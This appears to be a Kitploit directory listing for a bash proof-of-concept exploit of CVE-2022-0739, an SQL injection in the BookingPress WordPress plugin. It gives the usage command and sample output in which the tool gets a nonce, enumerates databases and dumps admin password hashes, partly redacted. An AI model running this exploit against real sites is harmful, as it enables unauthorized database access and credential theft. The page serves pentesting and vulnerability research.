Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-0739 — Simple bash script to automate the exploit of cve 2022 0739 | Kitploit
Tools/GitHubGitHub/chris01s/cve-2022-0739
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubchris01s/cve-2022-0739

CVE-2022-0739

Simple bash script to automate the exploit of cve 2022 0739

View Repository
413 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-0739

Proof-of-Concept exploit (SQLI BookingPress before 1.0.11)

#Usage Supply the URL to where the Booking Press plugin is in use on the application.

bash exploit.sh ''

e.g. (Hashes are redacted in this demo)

root@kitploit:~
	┌──(user@user)-[~/]
	└─$ bash sqli_exploit.sh 'http://localhost/calendar/'
	    ____              __   _             ____                     
	   / __ )____  ____  / /__(_)___  ____ _/ __ \________  __________
	  / __  / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
	 / /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ /  /  __(__  |__  ) 
	/_____/\____/\____/_/|_/_/_/ /_/\__, /_/   /_/   \___/____/____/  
			               /____/                             
	   _______    ________    ___   ____ ___  ___        ____  __________ ____ 
	  / ____/ |  / / ____/   |__ \ / __ \__ \|__ \      / __ \/__  /__  // __ \
	 / /    | | / / __/________/ // / / /_/ /__/ /_____/ / / /  / / /_ </ /_/ /
	/ /___  | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ /  / /___/ /\__, / 
	\____/  |___/_____/    /____/\____/____/____/     \____/  /_//____//____/  

	[+] Exploiting http://localhost ...
	[+] Vulnerable url at http://localhost/calendar/...
	[+] Gettting nonce...
	[+] Found nonce: 219087f4c2
	[+] Extract database name...

	information_schema
	test_db


	[+] Getting creds...
	admin $P$BGrGrgXXXXXXXXXXXXXX
	testUs3r $P$B4aNM28NXXXXXXXXXXX

DISCLAIMER

Usage of this program without prior mutual consent can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Download Tool